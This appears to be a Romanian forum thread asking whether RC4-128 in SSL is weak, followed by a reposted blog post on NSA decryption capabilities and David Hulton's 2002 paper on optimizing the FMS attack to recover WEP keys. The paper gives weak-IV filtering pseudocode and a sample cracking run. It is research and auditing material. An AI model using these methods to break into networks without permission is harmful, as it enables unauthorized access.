Ce parere aveti? Fiind pe 128 de biti avem: 4 mld * 4 mld * 4 mld * 4 mld de chei. Adica un numar cu 36 de cifre. [340.282.366.920.938.463.463.374.607.431.768.211.456] Pare destul de greu sa incerci atatea combinatii, chiar si pentru milioane de procesoare/GPU. Sa presupunem ca putem sparge 2^64 [18.446.744.073.709.551.616], adica 18 miliarde de miliarde de chei pe secunda. Raman insa tot atatea secunde de crackuit... Deci un atac bruteforce, matematic, pica. Insa exista mai multe atacuri: https://en.wikipedia.org/wiki/RC4#Security Ma intereseaza in mod special pentru SSL. Google, Facebook, Twitter si probabil multe altele folosesc SSL cu RC4 pe 128 de biti, despre care, in ziua de azi, se zice ca e slab/foarte slab. Voi ce parere aveti? As dori niste argumente tehnice. Daca veniti si cu niste paper-uri e perfect.

NSA's (and GCHQ) Decryption Capabilities: Truth and Lies by Axelle Apvrille | September 06, 2013 Edward Snowden has revealed new information concerning the cryptographic capabilities of the NSA and GCHQ (TheGuardian, ProRepublica, leaking documents…). The CryptoGirl was bound to look into that topic Let’s go straight to the point and answer simple questions. Is cryptography unsecure? No, I don’t think so. Basically, cryptography is maths (prime numbers, finite fields, polynomials…), and maths are solid science with proofs and demonstrations. Cryptographic algorithms are only seldom broken (e.g MD5). What’s quite often “broken” are implementations, because implementations are imperfect representation of maths. Vulnerabilities range from implementations bugs (buffer overflows etc) to side channel attacks (i.e attacks based on the physical properties of the implementation such as differential power analysis, timing attacks…). Don’t believe me? This opinion of mine is backed by Bruce Schneier, who had access to NSA’s documents: ”They’re doing it primarily by cheating, not by mathematics.”. Yes, but they seem to be able to defeat SSL! Yes. Note that SSL is a security protocol, not a cryptographic algorithm. The documents released by Snowden confirms our fears regarding SSL. As we said in our previous blog, we believe they do it by getting private keys of given domains or performing man-in-the-middle attacks. They could also be using attacks such as BEAST, CRIME) or BREACH. SSL is so widely deployed that there is much peer review of the protocol (good), but also new vulnerabilities are exposed each year at security conferences. It seems quite likely that the NSA is aware of those vulnerabilities, perhaps even with a few 0-days. enigma crypto rotor Image courtesy of LaMenta3 via Flickr. Matthew Green says Microsoft CryptoAPI and OpenSSL are probably among the SSL libraries the NSA is the most likely to break into, and I agree with him. In particular, a few years ago I remember that OpenSSL checked certificate chains only up to 9 levels. Certificates for a given entity are issued by a higher authority, and the higher authority’s certificate is issued by an even higher authority. That’s the chain of trust. So, if you have 10 certificates in your chain, OpenSSL was unable to check the chain and you might claim to be God and would be trusted This was a documented issue, I haven’t checked if it has been fixed since. By the way, Bruce Schneier recommends usage of TLS (for those who don’t know, TLS is like “SSL 3.1”, it’s a newer version of SSL). It’s certainly better than SSL in terms of security, but I wouldn’t bet on it as there are (nearly) as many vulnerabilities. The NSA has supercomputers and excellent cryptographers. They can break the RSA algorithm I agree with the first sentence and disagree with the second Sure, they have powerful computers and cryptographers, but that’s not enough to break the RSA algorithm with 2048-bit keys (for instance, this is used in GPG). You need huge computational power to brute force RSA 2048. Currently, the RSA Factoring Challenge record is set to RSA 768, and that’s already tremendous work. I don’t think the NSA can do much better, and I don’t think they have better cryptographers than those of the entire world. People like Shamir, Rivest, Lenstra, Preneel, Coron, Boneh etc are just exceptional, and I would not think the NSA can influence such a diverse panel of scientists. In the specific case of RSA, however, note that improper usage or implementations may be insecure. For instance, signing with RSA 1024 with PKCS#1 and a low exponent is not safe. So, if you use your crypto library (OpenSSL, BouncyCastle etc) with those settings, too bad. Note that it’s not that RSA 1024 is insecure, but that particular combination. All cryptographic algorithms are designed to work in a specific well-designed context. If you use them outside that context, their security may fall apart. As developers say, RTFM The slides say they can do it! No. The information I read in the Guardian’s article in no way states the NSA has the ability to break RSA, nor AES etc. They say that “cryptanalytic capabilities are now coming on line” or that they have “groundbreaking capabilities”, which is far too vague. True, I haven’t had access to the full set of slides, so I might be missing something important. However, still, I would not trust those slides fully. Why? Because they don’t sound like technical slides from a cryptographer. Would a cryptographer write he has “groundbreaking capabilities”? No. That’s not the way cryptographers talk. They’d rather say “Breakable in o(2^n)” or something like that For me, the slides emanate from some high level manager. I guess all of us have already seen slides of products which actually do not really correspond to reality, huh? The NSA influences standards and puts backdoors in applications Yes, I believe this is possible. Matthew Green summarized it very well: “Cryptographers have always had complicated feelings about NIST, and that’s mostly because NIST has a complicated relationship with the NSA.” I however wonder exactly which 2006 standard the Guardian refers to. My guess would be that the same applies to (some) RFCs and IEEE standards such as P1363. Elliptic curve choices are indeed somewhat obscure and could typically have been influenced by the NSA. This is also in line with Bruce Schneier’s recommendation “Prefer conventional discrete-log-based systems over elliptic-curve systems; the latter have constants that the NSA influences when they can.” As for putting backdoors into programs, to some extent, I can personally guarantee this is true - and not only in the US! Some 15 years ago (waow…), I was a junior developer working on quite well-known encryption product. To comply with the French law and be able to commercialize the product, we had absolutely no other choice than to embed a backdoor for the French government. That backdoor enabled them to decrypt the session key and hence any document encrypted with the tool. I remember the product featured a label like “Approved by SCSSI” (French’s former SSI entity) which, in practice, meant it held the backdoor. In France, laws around cryptography are now less restrictive, but this is just to say I would not be surprised the US asks for key escrows. What tools can I use? Bruce Schneier provides several recommendations. See also this document. It’s also worth to have a look at Prism-break. I complement them with a table below of what I think - personal opinion - is secure or not. Unfortunately, “green” does not mean it is guaranteed to be secure. For instance, the implementation may be flawed. But it’s better than orange… – the Crypto Girl Sursa: Fortinet Blog | News and Threat Research NSA's (and GCHQ) Decryption Capabilities: Truth and Lies + https://www.schneier.com/blog/archives/2013/09/conspiracy_theo_1.html

Practical Exploitation of RC4 Weaknesses in WEP Environments Practical Exploitation of RC4 Weaknesses in WEP Environments February 22, 2002 by David Hulton <h1kari@dachb0den.com> - (c) Dachb0den Labs 2002 [http://www.dachb0den.com/projects/bsd-airtools.html] 1. Introduction This document will give a brief background on 802.11b based WEP weaknesses and outline a few additional flaws in rc4 that stem off of the concepts outlined in "Weaknesses in the Key Scheduling Algorithm of RC4" (FMS) and "Using the Fluhrer, Mantin, and Shamir Attack to Break WEP" (SIR) and describes specific methods that will allow you to optimize key recovery. This document is provided as a conceptual supplement to dweputils, a wep auditing toolset, which is part of the bsd-airtools package provided by Dachb0den Labs. The basic goal of the article is to provide technical details on how to effectively implement the FMS attack so that it works efficiently with both a small amount of iv collection time as well as cracking and processing time and to provide details on how other pseudo random generation algorithm (prga) output bytes reveal key information. 2. Background WEP is based on RSA's rc4 stream cipher and uses a 24-bit initialization vector (iv), which is concatenated with a 40-bit or 104-bit secret shared key to create a 64-bit or 128-bit key which is used as the rc4 seed. Most cards either generate the 24-bit iv using a counter or by using some sort of pseudo random number generator (prng). The payload is then encrypted along with an appended 32-bit checksum and sent out with the iv in plaintext as illustrated: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | 802.11 Header | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | IV[0] | IV[1] | IV[2] | Key ID | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | . . . . . . SNAP[0] . . . . . | . . . . . SNAP[1] . . . . . . | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | . . . . . . SNAP[2] . . . . . | . . . . Protocol ID . . . . . | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . | | . . . . . . . . . . . . . Payload . . . . . . . . . . . . . . | | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | . . . . . . . . . . . 32-bit Checksum . . . . . . . . . . . . | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ . - denotes encrypted portion of packet After the data is sent out, the receiver simply concatenates the received iv with their secret key to decrypt the payload. If the checksum checks out, then the packet is valid. 2.1. Current Cracking Methods Essentially, most of the wep attacks out there these days are either based on brute forcing methods, often times including optimizations based on how the key is generated or by using a wordlist, or through statistical analysis of initialization vectors (ivs) and their first rc4 output byte, to setup conditions in the rc4 key scheduling algorithm (ksa) that reveal information about particular bytes in the secret key. 2.1.1. Brute Forcing Brute forcing has been proven to be an effective method of breaking wep, mainly thanks to all of the work done by Tim Newsham. This method basically consists of trying to decrypt the encrypted payload of a captured 802.11b packet using a set of keys and verifying the validity by seeing if the 32-bit checksum checks out. In most cases, if the key checks out it is important to check it with another packet to make sure the key is actually valid, since many times the packet can be decrypted with an invalid key and the checksum will be valid. This mode of attack generally only requires 2 packets. Tim Newsham's most effective cracking method stems off of the weaknesses in the password based key generation algorithm used by most 40-bit cards and access points. By taking advantage of this weakness, it reduces the 40-bit keyspace down to 21-bit, which is trivial to crack (20-40 seconds with most current-day machines). Also, wordlist attacks prove almost equally effective on both 40-bit and 104-bit 802.11b networks, provided you have a decent list of commonly used passphrases. Even without using these optimizations, you can still exhaust the entire 40-bit keyspace in roughly 45-days on a decent machine, or in a very reasonable amount of time using a distributed network of machines. Although this mode of attack can be applied to many networks out there, it fails to be able to attack a properly secured 104-bit network, since the amount of time required to brute force 104-bit is generally longer than an attacker's great-grandchildren would want to wait. 2.1.2. FMS Attack Up until now, all open source wep cracking utilities that use the FMS Attack have used an extremely limited mode of operation as described in FMS in Section 7.1 "IV Precedes the Secret Key", and is also published by Wagner in Wag95, which involves only looking for ivs that match: (A + 3, N - 1, X) This is a particular condition that works almost all of the time and is not dependent on the preceding keys. However, as described later on in FMS in Section A "Applying The Attack to WEP-like Cryptosystems", they recommend that you use the following equation on the S permutation immediately after the KSA to determine if an iv is weak: X = S{B + 3}[1] < B + 3 X + S{B + 3}[X] = B + 3 This equation uncovers many more ivs than the 256 per key that most implementations currently use. This was made obvious in SIR in Section 4.1 "Choosing IVs", but wasn't thoroughly expanded on about how to effectively use a pool of logged ivs to successfully perform this attack in a reasonable amount of time. The main dilemmas with applying this equation to all of the IVs that you collect are that you have to check all of your logged ivs at least once for every key byte that you try, and that it takes a considerable amount of resources to apply this algorithm to a set of 2,000,000 ivs. So, not only do you have to do a large amount of processing, but also for an extremely large set of possibilities. Also, all of the current implementations only attack the 1st rc4 output byte, mainly because it is the one that provides the most accurate information about the key bytes. However, by attacking the other bytes, it can also provide clues, although minute, to the static key that was used. This can sometime provide enough statistical data to derive key bytes in cases when you aren't able to collect a large amount of captured data, and have more time to spend processing. 3. Additional Flaws in the KSA The main flaw with rc4 that hasn't been thoroughly expanded, is using information provided by other bytes in the prga output stream. This attack is similar to the FMS attack, but requires additional processing because you have to also emulate portions of the pseudo random generation algorithm (prga) to determine if an iv gives out key information in byte A. However, the bytes that you can attack using this method directly depend on the bytes of the key you have already recovered and are extremely hard to predict without excessive processing. To demonstrate this, I will first provide background on the current common mode of attack which attacks the first output byte and then show how it can be expanded to other bytes. 3.1. Attacking the First Byte The first byte attack works based on the fact that you can simulate part of the ksa using the known iv and derive the values of elements in the S permutation that will only change 1 - (e ** -X) of the time, where X is the number of S elements that your attack depends on. This can be illustrated as follows when attacking the first byte in the secret key (SK): Definitions: KSA(K) Initialization: For i = 0 ... N - 1 S[i] = i j = 0 Scrambling: For i = 0 ... N - 1 j = j + S[i] + K[i mod l] Swap(S[i], S[j]) PRGA(K) Initialization: i = 0 j = 0 Generation Loop: i = i + 1 j = j + S[i] Swap(S[i], S[j]) Output z = S[S[i] + S[j]] - For demonstration purposes N = 16, although it is normally 256 - Also, all addition and subtraction operations are carried out modulo N and negative results are added with N so results are always 0 <= x < N. Simulation: let B = 0 - byte in K that we are attacking let IV = B + 3, f, 7 let SK = 1, 2, 3, 4, 5 let K = IV . SK let l = the amount of elements in K assume that no S elements get swapped when i > B + 3 KSA - K = 3, f, 8, 1, 2, 3, 4, 5 Known Portion: 0 1 2 3 4 5 6 7 8 9 a b c d e f j S[i] K 3 0 i = 0, j = 0 + 0 + 3 = 3 0 1 i = 1, j = 3 + 1 + f = 3 d 2 i = 2, j = 3 + 2 + 8 = d Unknown Portion: f 1 i = 3, j = d + 1 + 1 = f - Note that S[B + 3] always contains information relating to SK[B], since SK[B] is used to calculate j. PRGA - S = 3, 0, d, f, 4, 5, 6, 7, 8, 9, a, b, c, 2, e, 1 Unknown Portion: 0 1 2 3 4 5 6 7 8 9 a b c d e f j S[i] S[i] S[j] 3 0 d f 4 5 6 7 8 9 a b c 2 e 1 Unknown KSA Output 0 3 i = 1, j = 0 + 0 = 0, z = S[0 + 3] = f In this instance, f will be output as the first PRGA byte, which is in turn xor'ed with the first byte of the snap header. The first byte of the snap header is almost always 0xaa, so we can easily derive the original f by simply xor'ing the first byte in our encrypted payload with 0xaa. To reverse the f back into the first byte of the SK that was used to generate it, we just iterate through the KSA up until the point where we know the j and S[i] values that were used to derive the f as provided in the previous demonstration. Once the j and S[i] values are derived, we can easily reverse it to SK[B] as illustrated: Definitions: let S{-1}[Out] be the location of Out in the S permutation let Out be z in the first iteration of the PRGA assume values in Known Portion of KSA from where i = 2 SK[B] = S{-1}[Out] - j - S[i + 1] Application: SK[B] = S{-1}[f] - c - S[3] = f - d - 1 = 1 This method provides us with the correct key roughly e ** -3 =~ 5% of the time, and sometimes e ** -2 =~ 13% of the time in some cases when we only rely on 2 elements in the S permutation staying the same. As you can see in the ksa and prga simulation above, we only rely on elements 0, 1, and 3 not changing for the output byte to be reliable, so the probability of our output byte being f is 5%. By collecting many different SK[B] values the correct SK[B] values should become more evident as more data is collected. Additionally, once we determine the most probable value for the first byte in the secret key, we can apply the same algorithm to cracking the next byte in the secret key, and continue until we have cracked the entire secret key. In most implementations this method is combined with brute forcing so the odds don't have to be perfect in order to recover the key. 3.2. Attacking Additional Output Bytes This section will demonstrate a set of new unique ivs that provide clues to various bytes in the secret key and in some cases with greater probability than the first bytes. I will first demonstrate what happens when rc4 encounters one of these ivs, and then provide methods for detecting them. 3.2.1. RC4 Encounters a 2nd-Byte Weak IV In this demonstration, I will use a weak iv that attacks the 2nd byte and show how certain ivs setup the S permutation so that secret key information is revealed in the 2nd byte of output. This method also applies to other output bytes and can be expanded depending on which secret key byte you are attacking. Here is what happens: Simulation: let B = 0 - byte in K that we are attacking let IV = 4, c, c let SK = 1, 2, 3, 4, 5 let K = IV . SK assume that no S elements get swapped when i > B + 3 KSA - K = 4, c, c, 1, 2, 3, 4, 5 Known Portion: 0 1 2 3 4 5 6 7 8 9 a b c d e f j S[i] K 4 0 i = 0, j = 0 + 0 + 4 = 4 1 i = 1, j = 4 + 1 + c = 1 f 2 i = 2, j = 1 + 2 + c = f Unknown Portion: 3 i = 3, j = f + 3 + 1 = 3 PRGA - S = 4, 1, f, 3, 0, 5, 6, 7, 8, 9, a, b, c, d, e, 2 Unknown Portion: 0 1 2 3 4 5 6 7 8 9 a b c d e f j S[i] S[i] S[j] 4 1 f 3 0 5 6 7 8 9 a b c d e 2 Unknown KSA Output 1 i = 1, j = 0 + 1 = 1, z = S[1 + 1] = f f 4 i = 2, j = 1 + f = 0, z = S[f + 4] = 3 Then, since we also often times know that the second byte of the snap header is 0xaa, we can determine the 2nd byte of prga output and reverse it back to the original key, as demonstrated: SK[B] = S{-1}[3] - f - S[3] = 3 - f - 3 = 1 As you can see, this particular iv will setup the ksa and prga so that the second output byte provides information about the first byte of our key in almost every situation. Additionally, it relies on elements 0, 1, 2, and 3 not changing for the second byte to be accurate, so it will only be correct e ** -4 =~ 2% of the time. Additionally, in cases where the previous output bytes are derived from dependent elements, we can check to see if the actual outputted byte matches up and determine if the output we are receiving has been tampered with. In addition, if the output matches up, it greatly increases our odds since we now rely on less elements. In this particular case, if the first output byte checked out, it would increase our probability with the 2nd byte to e ** -2 =~ 13%. 3.2.2. Finding Weak IVs for Additional Output Bytes The main problem with attacking additional output bytes is determining if an iv will reveal part of the secret key in a particular output byte, and also determining if the probabilities are good enough to even consider it. How we can detect if an iv is vulnerable to this sort of attack is similar to the first byte attack, but it requires looping through the prga up until i = (A + 1) where A = the offset in the prga stream of the byte you know the value for. For each iteration of the prga loop, if there are any instances where j or i >= B + 3, we must discard the iv, since then we are relying on elements in the S permutation that will most likely change. This can be accomplished by modifying the prga algorithm so that it is similar to: PRGA(K) Initialization: For i = 0 ... N - 1 P[i] = 0 P[B + 3] = 1 i = 0 j = 0 Generation Loop: While i < A + 1 i = i + 1 j = j + S[i] If i or j >= B + 3 Then Fail Swap(S[i], S[j]) Output z = S[S[i] + S[j]] P[i] = 1 P[j] = 1 Verification: If S[i] + S[j] = B + 3 Then Success Probability Analysis: j = 0 For i = 0 ... N - 1 If P[i] > 0 Then j = j + 1 This algorithm also works almost identically to the equation for determining if an iv is vulnerable to the first byte attack and can be expanded to detecting ivs that reveal keys in any byte in the prga output. You can then weigh the probabilities and determine if it is worth considering. In tests, this method doesn't prove entirely useful, mainly due to the amount of processing that is required to determine if certain ivs have this property. Since each iv has to be checked for each previous secret key byte that you try, it would probably be most practical to manually derive a table of vulnerable ivs, so it doesn't require much work during key recovery. In most cases it'd be more practical to collect more ivs and only use the first bytes to perform key recovery, however in cases when you have a limited set of sample data, it could greatly reduce the time required for recovery. 4. Implementation This section will focus on practical methods for making use of all of the 1st byte weak ivs without hindering performance. It will also cover optimizations for applying brute forcing and fudging methods to greatly reduce cracking time. The result of the optimizations will allow you to perform key recovery with only 500,000-2,000,000 packets and < 1 minute processing time. Although, in SIR it is mentioned that they were able to crack wep with a similar number of packets, this mode of attack does not require that the wep key be ascii characters, and isn't dependent on what key generator the victim used. 4.1. Filtering Weak IVs The main problem with attacking wep using all of the first byte weak ivs, is that the equation specified in FMS has to be applied to each of the ivs for every key that you try. Since often times you'll have a total of 2,000,000 packets that you've collected and thousands of keys you need to try before you find the correct one. It has thus far been impractical to use this mode of attack, since it requires a large amount of memory as well as resources. The way I have managed to get around this dilemma is by analyzing the patterns of weak ivs and how they are related to the key bytes they rely on. This is the basic pattern that I've found. Definitions: let x = iv[0] let y = iv[1] let z = iv[2] let a = x + y let b = (x + y) - z Byte 0: x = 3 and y = 255 a = 0 or 1 and b = 2 Byte 1: x = 4 and y = 255 a = 0 or 2 and b = SK[0] + 5 Byte 2: x = 5 and y = 255 a = 0 or 3 and b = SK[0] + SK[1] + 9 a = 1 and b = 1 or 6 + SK[0] or 5 + SK[0] a = 2 and b = 6 Byte 3: x = 6 and y = 255 a = 0 or 4 and b = SK[0] + SK[1] + SK[2] + 14 a = 1 and b = 0 or SK[0] + SK[1] + 10 or SK[0] + SK[1] + 9 a = 3 and b = 8 Byte 4: x = 7 and y = 255 a = 0 or 5 and b = SK[0] + SK[1] + SK[2] + SK[3] + 20 a = 1 and b = 255 or SK[0] + SK[1] + SK[2] + 15 or SK[0] + SK[1] + SK[2] + 14 a = 2 and b = SK[0] + SK[1] + 11 or SK[0] + SK[1] + 9 a = 3 and b = SK[0] + 11 a = 4 and b = 10 This pattern can then be easily expanded into an equation that covers a range independent of what SK values you have. As a result, you have distribution pattern similar to the one shown below: Secret Key Byte 0 1 2 3 4 5 6 7 8 9 a b c + + + + + + 0 8 16 16 16 16 16 16 16 16 16 16 16 16 1 8 16 16 16 16 16 16 16 16 16 16 16 2 16 8 16 16 16 16 16 16 16 16 16 a 3 16 8 16 16 16 16 16 16 16 16 4 16 8 16 16 16 16 16 16 16 V 5 16 8 16 16 16 16 16 16 a 6 16 8 16 16 16 16 16 l 7 16 8 16 16 16 16 16 u 8 16 8 16 16 16 16 e 9 16 8 16 16 16 s a 16 8 16 16 b 16 8 16 c 16 8 d 16 8 - 8-bit set of weak ivs 16 - 16-bit set of weak ivs + - 2 additional x and y dependent 8-bit weak ivs From this, we can determine a rough estimate of how many total weak ivs exist for each key byte. It can also be determined using the following equation: let ? : be conditional operators let MAX(x, y) be x > y ? x : y ((B mod 2 ? MAX(B - 2, 0) + 2 : B + 1) * (2 ** 16)) + (((B mod 2 ? 0 : 2) + (B > 1 ? 1 : 0) + 1) * (2 ** 8)) However, our real objective is to determine an algorithm that allows us to filter out weak ivs based on the secret key byte that they can attack, so that we can narrow our 2,000,000 element table down to a reasonable size that's easier to search. This can be accomplished by using a simple algorithm similar to: let l = the amount of elements in SK i = 0 For B = 0 ... l - 1 If (((0 <= a and a < or (a = B and b = (B + 1) * 2)) and (B % 2 ? a != (B + 1) / 2 : 1)) or (a = B + 1 and (B = 0 ? b = (B + 1) * 2 : 1)) or (x = B + 3 and y = N - 1) or (B != 0 and !(B % 2) ? (x = 1 and y = (B / 2) + 1) or (x = (B / 2) + 2 and y = (N - 1) - x) : 0) Then ReportWeakIV This algorithm results in catching the following distribution of ivs: Byte # of IVs Probability 0 768 0.00004578 1 131328 0.00782776 2 197376 0.01176453 3 197120 0.01174927 4 328703 0.01959223 5 328192 0.01956177 6 459520 0.02738953 7 459264 0.02737427 8 590592 0.03520203 9 590336 0.03518677 a 721664 0.04301453 b 721408 0.04299927 c 852736 0.05082703 Which should differ slightly from the previous weak iv estimation equation since some ivs in the pattern overlap. By sorting these IVs into tables, you can very easily narrow down the amount of ivs to search for each cracking operation to a maximum of 852,736 ivs, or around only 101,654 when supplied with a 2,000,000 packet capture file. This effectively reduces the search time for each key by at least 1/20. 4.2. Fudging When trying to recover keys using a capture file that doesn't statistically provide enough immediate information to determine the secret key, it is common to perform a brute force based on the most probable key bytes. Up until now the fudge, or breadth, has been implemented as a static number that specifies the range to search for each key byte. However, with > 2,000,000 samples and a large amount of weak ivs for each byte the probability that the correct key will be the most probable gets greater as you traverse through each byte. A estimate of the probabilities for this are outlined below: Byte # of IVs Probability 0 768 0.00004578 1 768 0.00004578 2 2304 0.00013732 3 1792 0.00010681 4 3072 0.00018311 5 2560 0.00015259 6 4096 0.00024414 7 3584 0.00021362 8 5120 0.00030518 9 4608 0.00027466 a 6144 0.00036621 b 5632 0.00033569 c 6656 0.00039673 Therefore, when attempting to brute force based on a 2,000,000 sample set, your IVs will most likely be near: Byte # of IVs # of Correct Keys 0 92 5 1 92 5 2 275 14 3 214 11 4 366 18 5 305 15 6 488 24 7 427 21 8 610 30 9 549 27 a 732 36 b 671 33 c 793 39 Therefore, it's most likely that once you reach byte 2, the key that seems most probable, most likely is. This means that fudging is most likely not required, or at the least should be reduced, the farther you move through the bytes. This reduces the brute forcing time required considerably, since now it is only necessary to fudge the first few bytes of the key, and the rest is no longer necessary. I have found in most cases, because of this property of weak ivs, it requires quite less packets than 2,000,000 to recover the key, and in some cases you don't even require any statistics for the first couple bytes of the secret key to perform this attack in a very reasonable amount of time. 5. Results Using the outlined modifications, I've managed to crack wep using between 500,000 and 2,000,000 packets in under a minute, this is mainly due to the time required for reading in the packets. Here is an example of a successful attack using quite less than the 60 required ivs and only ~ 500,000 packets: h1kari@balthasar ~/bsd-airtools/dweputils/dwepcrack$ ./dwepcrack -w ~/log * dwepcrack v0.3a by h1kari <h1kari@dachb0den.com> * * Copyright (c) Dachb0den Labs 2002 [http://dachb0den.com] * reading in captured ivs, snap headers, and samples... done total packets: 500986 calculating ksa probabilities... 0: 22/768 keys (!) 1: 3535/131328 keys (!) 2: 5459/197376 keys (!) 3: 5424/197120 keys (!) 4: 9313/328703 keys (!) (!) insufficient ivs, must have > 60 for each key (!) (!) probability of success for each key with (!) < 0.5 (!) warming up the grinder... packet length: 44 init vector: 58:f7:26 default tx key: 0 progress: .................................... wep keys successfully cracked! 0: xx:xx:xx:xx:xx * done. 6. Conclusions The best solution for securing your wireless networks is using traditional wireless security to its fullest, but not relying on it. Manually enter in your wep keys and don't use the key generator (or use dwepkeygen ;-Q), change your wep keys frequently, use mac filtering and shared key authentication, and label your wireless network as untrusted (and no, I don't necessarily mean set your ssid to "untrusted"). Wireless networks, just like any other networks, are proportionately insecure to the stupidity of the person managing them. References [1] Fluhrer, S. Mantin, I. and Shamir A. - Weaknesses in the Key Scheduling Algorithm of RC4. [2] Stubblefield, A. Ioannidis, J. and Rubin, A. - Using the Fluhrer, Mantin, and Shamir Attack to Break WEP [3] Newsham, T. - Cracking WEP Keys. Presented at Blackhat 2001. Sursa: http://www.dartmouth.edu/~madory/RC4/wepexp.txt